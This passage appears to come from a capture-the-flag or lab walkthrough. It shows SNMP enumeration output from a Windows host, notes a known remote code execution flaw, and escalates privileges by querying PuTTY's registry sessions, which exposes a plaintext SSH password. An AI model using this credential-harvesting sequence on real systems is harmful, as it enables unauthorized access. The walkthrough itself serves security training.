Files\WindowsApps\Microsoft.Windows.Photos_2021.21090.10008.0_x64__8wekyb3
```

```
d8bbwe\  -ServerName:App.AppXzst44mncqdg84v7sv6p7yznqwssy6f7f.mca
  7776                  running               msedge.exe
C:\Program Files (x86)\Microsoft\Edge\Application\  --type=renderer --
lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-
raster-threads=1 --renderer-client-id=1
  7888                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s UsoSvc
  8180                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s wlidsvc

[*] Storage information:

  Description                   : ["C:\\ Label:  Serial Number 2879d413"]
  Device id                     : [#<SNMP::Integer:0x000056493d5f4740
@value=1>]
  Filesystem type               : ["unknown"]
  Device unit                   : [#<SNMP::Integer:0x000056493d5ee980
@value=4096>]
  Memory size                   : 29.37 GB
  Memory used                   : 21.24 GB

  Description                   : ["D:\\"]
  Device id                     : [#<SNMP::Integer:0x000056493d645640
@value=2>]
  Filesystem type               : ["unknown"]
  Device unit                   : [#<SNMP::Integer:0x000056493d63f9e8
@value=0>]
  Memory size                   : 0 bytes
  Memory used                   : 0 bytes

  Description                   : ["Virtual Memory"]
  Device id                     : [#<SNMP::Integer:0x000056493d636960
@value=3>]
  Filesystem type               : ["unknown"]
  Device unit                   : [#<SNMP::Integer:0x000056493d634cf0
@value=65536>]
  Memory size                   : 4.69 GB
  Memory used                   : 1.86 GB

  Description                   : ["Physical Memory"]
  Device id                     : [#<SNMP::Integer:0x000056493d627b90
@value=4>]
  Filesystem type               : ["unknown"]
```

```
  Device unit                   : [#<SNMP::Integer:0x000056493d625e58
@value=65536>]
  Memory size                   : 4.00 GB
  Memory used                   : 1.88 GB


[*] File system information:

  Index                         : 1
  Mount point                   :
  Remote mount point            : -
  Access                        : 1
  Bootable                      : 0

[*] Device information:

  Id                    Type                  Status                Descr
  1                     unknown               running
Microsoft XPS Document Writer v4
  2                     unknown               running
Microsoft Print To PDF
  3                     unknown               running
Microsoft Shared Fax Driver
  4                     unknown               running
Unknown Processor Type
  5                     unknown               running
Unknown Processor Type
  6                     unknown               unknown
Software Loopback Interface 1
  7                     unknown               unknown
Microsoft 6to4 Adapter
  8                     unknown               unknown               WAN
Miniport (PPTP)
  9                     unknown               unknown
Microsoft Kernel Debug Network Adapter
  10                    unknown               unknown
Microsoft IP-HTTPS Platform Adapter
  11                    unknown               unknown               WAN
Miniport (IPv6)
  12                    unknown               unknown               WAN
Miniport (IP)
  13                    unknown               unknown               WAN
Miniport (Network Monitor)
```

```
  14                    unknown               unknown               WAN
Miniport (L2TP)
  15                    unknown               unknown               WAN
Miniport (PPPOE)
  16                    unknown               unknown
Microsoft Teredo Tunneling Adapter
  17                    unknown               unknown               WAN
Miniport (IKEv2)
  18                    unknown               unknown               WAN
Miniport (SSTP)
  19                    unknown               unknown
vmxnet3 Ethernet Adapter
  20                    unknown               unknown
vmxnet3 Ethernet Adapter-WFP Native MAC Layer LightWeight Filter
  21                    unknown               unknown
vmxnet3 Ethernet Adapter-QoS Packet Scheduler-0000
  22                    unknown               unknown
vmxnet3 Ethernet Adapter-WFP 802.3 MAC Layer LightWeight Filter-
  23                    unknown               unknown               WAN
Miniport (IP)-WFP Native MAC Layer LightWeight Filter-0000
  24                    unknown               unknown               WAN
Miniport (IP)-QoS Packet Scheduler-0000
  25                    unknown               unknown               WAN
Miniport (IPv6)-WFP Native MAC Layer LightWeight Filter-0000
  26                    unknown               unknown               WAN
Miniport (IPv6)-QoS Packet Scheduler-0000
  27                    unknown               unknown               WAN
Miniport (Network Monitor)-WFP Native MAC Layer LightWeight
  28                    unknown               unknown               WAN
Miniport (Network Monitor)-QoS Packet Scheduler-0000
  29                    unknown               unknown               D:\
  30                    unknown               running               Fixed
Disk
  31                    unknown               running               IBM
enhanced (101- or 102-key) keyboard, Subtype=(0)

[*] Software components:

  Index                 Name
  1                     PuTTY release 0.76 (64-bit)
  2                     VMware Tools
  3                     Microsoft Visual C++ 2019 X64 Minimum Runtime -
14.24.28127
```

```
  4                     Microsoft Visual C++ 2019 X64 Additional Runtime -
14.24.28127
  5                     Microsoft Update Health Tools
  6                     Update for Windows 10 for x64-based Systems
(KB5001716)
  7                     Microsoft Edge
  8                     Microsoft Edge Update
  9                     Microsoft Edge WebView2 Runtime
  10                    Microsoft Visual C++ 2015-2019 Redistributable
(x64) - 14.24.281
  11                    Microsoft Visual C++ 2019 X86 Minimum Runtime -
14.24.28127
  12                    Mouse Server version 1.7.8.5
  13                    Microsoft Visual C++ 2015-2019 Redistributable
(x86) - 14.24.281
  14                    Microsoft Visual C++ 2019 X86 Additional Runtime -
14.24.28127

[*] IIS server information:

  TotalBytesSentLowWord         : 0
  TotalBytesReceivedLowWord     : 0
  TotalFilesSent                : 0
  CurrentAnonymousUsers         : 0
  CurrentNonAnonymousUsers      : 0
  TotalAnonymousUsers           : 0
  TotalNonAnonymousUsers        : 0
  MaxAnonymousUsers             : 0
  MaxNonAnonymousUsers          : 0
  CurrentConnections            : 0
  MaxConnections                : 0
  ConnectionAttempts            : 0
  LogonAttempts                 : 0
  Gets                          : 0
  Posts                         : 0
  Heads                         : 0
  Others                        : 0
  CGIRequests                   : 0
  BGIRequests                   : 0
  NotFoundErrors                : 0

------------------------------------------------
```

Found that the server running Attendance and Payroll System v1.0 - Remote Code Execution (RCE) which is vulnerable.

Privilege escalation

```
C:\Program Files\PuTTY>reg query
"HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
    zachary    REG_SZ    "&('C:\Program Files\PuTTY\plink.exe') -pw
'Th3R@tC@tch3r' zachary@10.51.21.12 'df -h'"
```

SSH into zachary